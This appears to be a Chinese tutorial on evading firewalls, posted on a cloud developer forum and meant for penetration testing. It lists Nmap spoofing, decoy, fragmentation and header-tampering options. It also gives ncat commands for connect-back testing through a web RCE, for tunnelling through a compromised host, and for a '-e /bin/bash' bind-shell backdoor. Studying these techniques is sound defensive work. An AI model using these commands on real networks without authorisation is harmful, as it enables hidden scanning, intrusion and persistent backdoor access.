
#### 目录
- [通过控制源信息进行规避](#1-通过控制源信息进行规避-evasion-by-controlling-source-information)
- [通过分片、MTU 和数据长度进行规避](#2-通过分片mtu-和数据长度进行规避-evasion-via-fragmentation-mtu-and-data-length)
- [通过修改头部字段进行规避](#3-通过修改头部字段进行规避-evasion-by-modifying-header-fields)
- [通过端口技巧进行规避](#4-通过端口技巧进行规避-evasion-via-port-techniques)

#### 概述

防火墙 (Firewall) 是一种软件或硬件设备，其核心功能是监控流入和流出网络的流量，并根据预设的一组安全规则来允许或阻止这些流量。一个简单的类比是活动入口处的警卫或看门人，他们会按照规则检查访客的身份凭证，然后决定是否允许其进入或离开。

即使是最基础的防火墙，也应该能够检查数据包中的以下关键字段：

- **协议 (Protocol)**: 例如 TCP, UDP, ICMP。
- **源地址 (Source Address)**: 发起通信的 IP 地址。
- **目的地址 (Destination Address)**: 通信目标的 IP 地址。

对于基于 TCP 或 UDP 的流量，防火墙至少应能检查其头部中的：

- **源端口号 (Source Port Number)**
- **目的端口号 (Destination Port Number)**

尽管防火墙可能分析更多字段，但对源端口和目的端口的控制是防火墙管理员最基本也是最重要的配置能力之一。

---

#### 防火墙类型 (Firewall Types)

防火墙可以根据不同的标准进行分类。

##### 1. 基于部署形态 (Based on Deployment Form)

- **硬件防火墙 (Hardware Firewall / Appliance Firewall)**:
    - **描述**: 独立的物理硬件设备，所有网络流量必须通过它进行路由和检查。
    - **示例**: Cisco ASA (Adaptive Security Appliance), WatchGuard Firebox, Netgate pfSense Plus 设备。
- **软件防火墙 (Software Firewall)**:
    - **描述**:作为操作系统的一部分捆绑提供，或作为可安装的应用程序运行在通用服务器或终端上。
    - **示例**: Windows Defender Firewall (内置于 MS Windows), Linux 中的 `iptables` 和 `firewalld`。

##### 2. 基于使用场景 (Based on Usage Scenario)

- **个人防火墙 (Personal Firewall)**:
    - **描述**: 设计用于保护单个计算机系统或小型网络（如家庭网络）。通常集成在家用无线路由器或作为终端安全软件的一部分。
    - **示例**: Bitdefender BOX, 许多 Linksys 和 D-Link 家用无线接入点内置的防火墙功能。
- **商业防火墙 (Commercial Firewall)**:
    - **描述**: 用于保护中到大型企业网络。通常具备更高的处理能力、可靠性，并支持更大的网络带宽。
    - **示例**: 企业级和运营商级的防火墙产品。

##### 3. 基于检测能力/功能 (Based on Detection Capability/Functionality)

从攻击和防御（红队/蓝队）视角看，基于防火墙检测能力的分类至关重要。防火墙主要关注 OSI 模型的第 3 层（网络层）和第 4 层（传输层），部分也涉及第 2 层（数据链路层）。现代防火墙则致力于覆盖更高层级。

- **包过滤防火墙 (Packet-Filtering Firewall)**:
    - **功能**: 最基础的类型。检查 TCP/UDP 数据报中的协议、源/目标 IP 地址、源/目标端口。
    - **特点**: 通常是**无状态 (Stateless)** 检测，即独立处理每个数据包，不考虑其历史连接状态。
- **电路级网关 (Circuit-Level Gateway)**:
    - **功能**: 在包过滤基础上，增加了一些会话层功能，例如验证 TCP 三次握手是否符合防火墙规则。
    - **特点**: 能够基于连接的有效性进行判断，但通常不检查数据包内容。
- **状态检测防火墙 (Stateful Inspection Firewall)**:
    - **功能**: 跟踪已建立的 TCP 会话（及某些 UDP/ICMP 伪会话）。它维护一个状态表，记录活动连接的信息。
    - **特点**: 能够基于连接状态进行决策，例如只允许属于已建立会话的返回流量通过，阻止不在已建立会话内的无效 TCP 数据包。这是目前主流的防火墙技术之一。
- **代理防火墙 (Proxy Firewall / Application Firewall - AF / Web Application Firewall - WAF)**:
    - **功能**: 作为客户端和服务器之间的中介。客户端连接到代理防火墙，代理防火墙再代表客户端向目标服务器发起新的连接。
    - **特点**: 能够深入检查数据包的**有效载荷 (Payload)** 内容，而不仅限于头部信息。特别适用于保护 Web 应用程序 (WAF 就是一种特定类型的代理防火墙)，但不一定适用于所有网络协议。
- **下一代防火墙 (Next-Generation Firewall - NGFW)**:
    - **功能**: 提供最高级别的防火墙保护。集成了传统防火墙功能，并增加了应用感知与控制、入侵防御系统 (IPS)、深度包检测 (DPI)、TLS/SSL 解密与检测、用户身份识别等高级功能。
    - **特点**: 能够监控 OSI 模型从第 2 层到第 7 层（应用层）的流量。
    - **示例**: Cisco SRX 系列, Cisco Firepower, Palo Alto Networks NGFWs.
- **云防火墙 / 防火墙即服务 (Cloud Firewall / Firewall as a Service - FWaaS)**:
    - **功能**: 在云环境中提供防火墙功能，取代传统的硬件防火墙部署。其功能可能与 NGFW 相当，具体取决于服务提供商。
    - **特点**: 受益于云架构的可扩展性和灵活性。
    - **示例**: Cloudflare Magic Firewall (网络级防火墙), Juniper vSRX (功能类似 NGFW 的云部署版本), AWS WAF (Web 应用保护), AWS Shield (DDoS 保护)。

---

#### 防火墙规避通用思路 (General Approaches to Firewall Evasion)

当扫描受防火墙保护的主机时，防火墙通常会检测并阻止端口扫描等探测行为。攻击者需要调整其扫描和连接策略以尝试规避防火墙的检测和拦截。主要思路包括：

1. **通过控制源信息进行规避** (MAC 地址、IP 地址、端口号)
2. **通过分片、MTU 和数据长度进行规避**
3. **通过修改头部字段进行规避**
4. **通过端口技巧进行规避** (端口跳跃、端口隧道、非标准端口)

---

#### 1. 通过控制源信息进行规避 (Evasion by Controlling Source Information)

Nmap 等工具提供了多种伪造或隐藏扫描源的功能。

- **基础扫描示例与分析**: 假设扫描一个默认配置防火墙的 Windows 目标，使用命令 `nmap -sS -Pn -F MACHINE_IP`。
    - `-sS`: TCP SYN 扫描 (半开放扫描)。
    - `-Pn`: 跳过主机发现 (Ping 探测)，即使主机不响应 Ping 也强制进行端口扫描。
    - `-F`: 快速扫描模式，仅扫描 Nmap 内置的 100 个最常用端口。
    - **分析观察 (示例)**:
        - 源 IP (例如 `10.14.17.226`) 会生成约 200 个数据包 (100 个端口 x 每个端口重试1次SYN = 200 SYN 包)。
        - 源端口号通常是随机选择的。
        - IP 数据包总长度可能是 44 字节 (20 字节 IP 头部 + 24 字节 TCP 头部，无数据载荷)。
        - TTL (生存时间) 可能是一个特定值 (如 42)。
        - 校验和正常。

##### 1.1. 使用诱饵 (Using Decoys)

- **原理**: 将真实的扫描源 IP 地址与一组伪造的“诱饵”IP 地址混合在一起发送扫描请求。这使得目标防火墙和主机难以确定哪个 IP 是真正的攻击者，同时也可能消耗蓝队的调查资源。
- **Nmap 选项**: `-D <decoy1,decoy2,...,ME,...>`
    - `nmap -sS -Pn -D 10.10.10.1,10.10.10.2,ME -F MACHINE_IP`
        - `ME` 代表攻击者真实的 IP 地址。目标会同时看到来自 `10.10.10.1`, `10.10.10.2` 和真实 IP 的扫描。
        - 如果省略 `ME`，Nmap 会将真实 IP 随机放置在诱饵列表中。
    - `nmap -sS -Pn -D RND,RND,ME -F MACHINE_IP`
        - `RND` 使 Nmap 选择随机的 IP 地址作为诱饵。每次运行命令，随机 IP 会变化。

##### 1.2. 使用代理 (Using Proxies)

- **原理**: 通过一个或多个 HTTP/SOCKS4 代理服务器转发端口扫描流量。这有助于向目标隐藏攻击者的真实 IP 地址，目标日志将记录代理服务器的 IP。
- **Nmap 选项**: `--proxies <proxy_URL1[,proxy_URL2,...]>`
    - `nmap -sS -Pn --proxies http://proxy.example.com:8080,socks4://anotherproxy.example.com:1080 -F MACHINE_IP`
    - 可以指定多个代理，用逗号分隔，形成代理链。

##### 1.3. 伪造 MAC 地址 (Spoofing MAC Address)

- **原理**: 修改扫描数据包的源 MAC 地址。此技术**仅在攻击者与目标主机位于同一网络段（LAN）时有效**，因为响应数据包会发送到伪造的 MAC 地址，攻击者必须能够捕获这些响应。可用于利用基于 MAC 地址的信任关系或伪装成网络上的其他设备（如打印机）。
- **Nmap 选项**: `--spoof-mac <MAC_address|0|vendor_name>`
    - `nmap -sS -Pn --spoof-mac 00:11:22:33:44:55 -F MACHINE_IP` (指定具体 MAC)
    - `nmap -sS -Pn --spoof-mac 0 -F MACHINE_IP` (生成完全随机的 MAC)
    - `nmap -sS -Pn --spoof-mac Apple -F MACHINE_IP` (使用指定厂商的随机 MAC)

##### 1.4. 伪造源 IP 地址 (Spoofing Source IP Address)

- **原理**: 修改扫描数据包的源 IP 地址。与伪造 MAC 地址类似，如果攻击者与目标位于同一子网，且能够嗅探到发送给伪造 IP 的响应，则此技术可能有用。另一种情况是攻击者实际控制伪造的 IP 地址所在的系统。可用于隐藏真实来源或利用基于 IP 的信任关系。
- **Nmap 选项**: `-S <IP_address>`
    - `nmap -sS -Pn -S SPOOFED_IP_ADDRESS -F MACHINE_IP`

##### 1.5. 固定源端口号 (Using a Fixed Source Port Number)

- **原理**: 某些防火墙规则可能允许来自特定源端口（如 DNS 的 UDP/53，HTTP 的 TCP/80）的流量通过，而对其他源端口的流量则更严格。通过将扫描流量的源端口固定为这些“受信”端口，可以在不检查数据包内容的情况下，使流量看起来像是合法的服务通信。
- **Nmap 选项**: `-g <portnum>` 或 `--source-port <portnum>`
    - `nmap -sS -Pn -g 80 -F MACHINE_IP` (所有扫描包源端口为 80)
    - 观察效果：所有从攻击机发出的 TCP 连接请求都将使用指定的源端口（例如 8080）。

---

#### 2. 通过分片、MTU 和数据长度进行规避 (Evasion via Fragmentation, MTU, and Data Length)

通过控制数据包的大小和结构，可能绕过那些不正确重组分片或基于数据包大小进行检测的防火墙/IDS/IPS。

##### 2.1. 使用特定字节数据分片 (Fragmenting Packets with Specific Data Bytes)

- **Nmap `-f` (8 字节数据分片)**:
    - **原理**: 将 IP 数据包的载荷部分分割成最大 8 字节的片段。例如，一个不含应用数据的 TCP SYN 包（通常头部 20-24 字节）的 TCP 头部会被分割到多个 IP 片段中。
    - **命令**: `nmap -sS -Pn -f -F MACHINE_IP`
    - **效果**: 24 字节的 TCP 头部将被分割成 3 个 IP 数据包 (8+8+8 字节的数据部分)。
- **Nmap `-ff` (16 字节数据分片)**:
    - **原理**: 将 IP 数据包的载荷部分分割成最大 16 字节的片段。
    - **命令**: `nmap -sS -Pn -ff -F MACHINE_IP`
    - **效果**: 24 字节的 TCP 头部将被分割成 2 个 IP 数据包 (16+8 字节的数据部分)。

##### 2.2. 根据设定的 MTU 拆分数据包 (Splitting Packets Based on MTU)

- **原理**: 设置 Nmap 发送 IP 数据包时的数据部分的最大传输单元 (MTU)。注意，这不同于链路层的 MTU。Nmap 的 `--mtu` 选项指定的是 IP 载荷的大小，不包括 IP 头部。该值必须是 8 的倍数。
- **Nmap 选项**: `--mtu <value>`
    - `nmap -sS -Pn --mtu 8 -F MACHINE_IP` (效果与 `-f` 类似)
    - `nmap -sS -Pn --mtu 24 -F MACHINE_IP` (每个 IP 包最多携带 24 字节数据)

##### 2.3. 生成特定长度的数据包 (Generating Packets of Specific Length)

- **原理**: 如果怀疑防火墙或 IDS/IPS 对特定大小的数据包敏感，可以尝试发送具有自定义数据长度的数据包。Nmap 会用随机数据填充载荷以达到指定长度。该长度也应该是 8 的倍数。
- **Nmap 选项**: `--data-length <num>`
    - `nmap -sS -Pn --data-length 64 -F MACHINE_IP`
    - **效果**: 每个 TCP SYN 包（或其他探测包）的 TCP 数据部分将被填充随机数据，使其达到 64 字节。

---

#### 3. 通过修改头部字段进行规避 (Evasion by Modifying Header Fields)

Nmap 允许控制 IP 和 TCP 头部中的多个字段，这些修改可能有助于绕过基于头部特定值进行检测的防火墙。

##### 3.1. 设置 TTL (Setting Time-To-Live)

- **原理**: 修改 IP 包中的生存时间 (TTL) 字段。如果默认的 TTL 值可能暴露扫描工具或操作系统指纹，或者防火墙基于 TTL 值进行过滤，自定义 TTL 可能有助于规避。
- **Nmap 选项**: `--ttl <value>`
    - `nmap -sS -Pn --ttl 128 -F MACHINE_IP`

##### 3.2. 设置 IP 选项 (Setting IP Options)

- **原理**: IP 头部包含一个可选的“选项”字段，可以用于记录路由、时间戳或指定源路由。滥用这些选项可能使数据包看起来异常，或尝试利用防火墙处理 IP 选项时的潜在漏洞。
- **Nmap 选项**: `--ip-options <hex_string | R | T | U | L <route> | S <route>>`
    - **Hex String**: `nmap --ip-options '\x01\x02\x03\x04'` (填充自定义十六进制字节)
    - **Shortcuts**:
        - `R`: Record Route (记录路由路径)。
        - `T`: Record Timestamp (记录时间戳)。
        - `U`: Record Route and Timestamp.
        - `L <ip1 ip2 ...>`: Loose Source Routing (松散源路由，数据包必须经过指定 IP，但中间可有其他跳)。
        - `S <ip1 ip2 ...>`: Strict Source Routing (严格源路由，数据包必须严格按指定 IP 序列路由)。
    - **用途**: 松散和严格源路由理论上可用于尝试引导数据包绕过特定的安全设备，但现代网络通常会阻止源路由。

##### 3.3. 使用错误的校验和 (Using Bad Checksums)

- **原理**: 发送带有故意错误的 TCP 或 UDP 校验和的数据包。某些系统会直接丢弃校验和错误的包，而另一些系统可能仍会处理它们，或者防火墙和目标系统的处理方式不一致。这种不一致性可能被利用来探测或规避。
- **Nmap 选项**: `--badsum`
    - `nmap -sS -Pn --badsum -F MACHINE_IP`
    - **观察**: 如果目标丢弃了所有带有错误校验和的数据包，Nmap 可能不会收到任何响应。

---

#### 4. 通过端口技巧进行规避 (Evasion via Port Techniques)

##### 4.1. 端口跳跃 (Port Hopping)

- **原理**:
    1. **连接尝试型**: 应用程序尝试在一系列不同的端口上建立连接，直到找到一个开放且允许通信的端口。
    2. **会话分割型**: 应用程序在一个端口上建立连接并传输部分数据，然后关闭连接，在另一个（或多个）不同的端口上建立新连接继续传输剩余数据。这种方式旨在使蓝队难以完整跟踪和重组整个通信会话。
- **示例场景 (连接尝试型，通过 Web RCE 执行 `ncat`)**:
    - **攻击者监听**: 在 AttackBox 上使用 `ncat -lvnp 1025` 监听 TCP 端口 1025。
    - **目标执行**: 假设目标 Web 应用 (如 `http://TARGET_IP:8080`) 存在 RCE 漏洞，攻击者通过该漏洞提交命令。
    - **测试连接**: 提交命令 `ncat ATTACKBOX_IP 1025`，尝试从目标机器连接回 AttackBox 的 1025 端口。
    - **观察**: 如果 AttackBox 上的 `ncat` 显示连接成功，说明防火墙允许从目标到 AttackBox 1025 端口的出站连接。可以依次测试不同端口。

##### 4.2. 端口隧道 (Port Tunneling / Port Forwarding / Port Mapping)

- **原理**: 将发送到某个特定（通常是允许通过防火墙的）源/目标端口的数据包，在通过防火墙后，转发到另一个内部系统上的不同目标端口（该端口可能本身被防火墙从外部直接阻止）。
- **工具与示例 (`ncat`)**:
    - **场景**: 内部 SMTP 服务器监听在 `TARGET_SERVER:25`。外部防火墙阻止直接访问端口 25，但允许访问防火墙后某台可控主机 (`FORWARDING_HOST`) 的端口 443。
    - **在 `FORWARDING_HOST` 上执行 (假设有权限)**:
        
        Bash
        
        ```
        ncat -lvnp 443 -c "ncat TARGET_SERVER 25"
        ```
        
        - `-lvnp 443`: `FORWARDING_HOST` 监听在 TCP 443 端口。
        - `-c "ncat TARGET_SERVER 25"` 或 `--sh-exec "ncat TARGET_SERVER 25"`: 当 443 端口收到连接时，执行 `ncat TARGET_SERVER 25` 命令，即 `FORWARDING_HOST` 会连接到内部 `TARGET_SERVER` 的 25 端口，并将 443 端口的流量转发过去。
    - **效果**: 攻击者连接到 `FORWARDING_HOST:443`，流量实际被转发到 `TARGET_SERVER:25`。

##### 4.3. 使用非标准端口 (Using Non-Standard Ports)

- **原理**: 将服务（尤其是后门或 C2 通道）监听在不常用或未被严格监控的高位端口上，以期望这些端口的流量不被防火墙或管理员特别关注。
- **工具与示例 (`ncat` 后门)**:
    - **在目标机器上执行 (作为后门)**:
        
        Bash
        
        ```
        ncat -lvnp CUSTOM_PORT_NUMBER -e /bin/bash
        # 例如: ncat -lvnp 43210 -e /bin/bash
        ```
        
        - `-e /bin/bash` 或 `--exec /bin/bash`: 将 `/bin/bash` 绑定到监听端口，提供一个交互式 shell。
        - **注意**: 监听低于 1024 的端口通常需要特权用户 (root/administrator)。
    - **攻击者连接 (从 AttackBox)**:
        
        Bash
        
        ```
        ncat TARGET_MACHINE_IP CUSTOM_PORT_NUMBER
        # 例如: ncat 10.10.119.33 43210
        ```
        
    - **规避考虑**: 选择的 `CUSTOM_PORT_NUMBER` 是否会被防火墙阻止是成功的关键。

防火墙 (Firewall) 是一种软件或硬件设备，其核心功能是监控流入和流出网络的流量，并根据预设的一组安全规则来允许或阻止这些流量。一个简单的类比是活动入口处的警卫或看门人，他们会按照规则检查访客的身份凭证，然后决定是否允许其进入或离开。

从数据链路层到应用层的防火墙绕过技术

安全

网络与通信

防火墙规避技术解析：通过控制源信息、分片、修改头部字段和端口技巧绕过防火墙检测。涵盖MAC/IP伪造、数据包分片、TTL/IP选项调整及端口跳跃/隧道等高级技术，适用于渗透测试和网络安全研究。

4核4G3M云服务器 新用户低至38元/年！

2026新春采购季

文章

问答

视频

教程

学习中心

腾讯云实验室

直播

竞赛

腾讯云代码分析专区

腾讯iOA零信任安全管理系统专区

腾讯云架构师技术同盟交流圈

腾讯云数据库专区

腾讯云智能顾问专区

腾讯云原生专区

腾讯混元专区

腾讯云TCE专区

腾讯云Lighthouse专区

腾讯云HAI专区

腾讯云Edgeone专区

腾讯云存储专区

腾讯云智能专区

腾讯轻联专区 

腾讯云开发专区

TAPD专区

腾讯轻量云游戏服专区

腾讯云最具价值专家

腾讯云架构师技术同盟

腾讯云创作之星

腾讯云开发者先锋

腾讯云AI代码助手

云原生构建

TAPD 敏捷项目管理

Cloud Studio

SDK中心

API中心

命令行工具

功能1上新10个字符

功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符功能2描述100个字符。

功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符功能2上新100个字符。

功能5描述100个字符功能5描述100个字符功能5描述100个字符功能5描述100个字符功能5描述100个字符功能5描述100个字符

功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符功能5上新100个字符

功能4上新

文章&问答评论现已支持表情

全新交互，全新视觉，新增快捷键、悬浮工具栏、高亮块等功能并同时优化现有功能，全面提升创作效率和体验

社区富文本编辑器全新改版！诚邀体验～ 

精选全网热门MCP server，让你的AI更好用 🚀

💥开发者 MCP广场重磅上线！

涵盖代码开发、场景应用、自动测试全流程，助你从零构建专属AI助手

一站式MCP教程库，解锁AI应用新玩法

聚焦“写作效率、视觉美观与运行性能”三方面进行全面升级，为您提供更高效、稳定的创作环境

社区富文本&Markdown编辑器全新改版上线，欢迎大家体验!

诚挚邀请您参与本次调研，分享您的真实使用感受与建议。您的反馈至关重要，感谢您的支持与参与！

社区新版编辑器体验调研

从数据链路层到应用层的防火墙绕过技术-腾讯云开发者社区-腾讯云

从数据链路层到应用层的防火墙绕过技术

从数据链路层到应用层的防火墙绕过技术

社区

活动

圈层

关于

腾讯云开发者

热门产品

热门推荐

更多推荐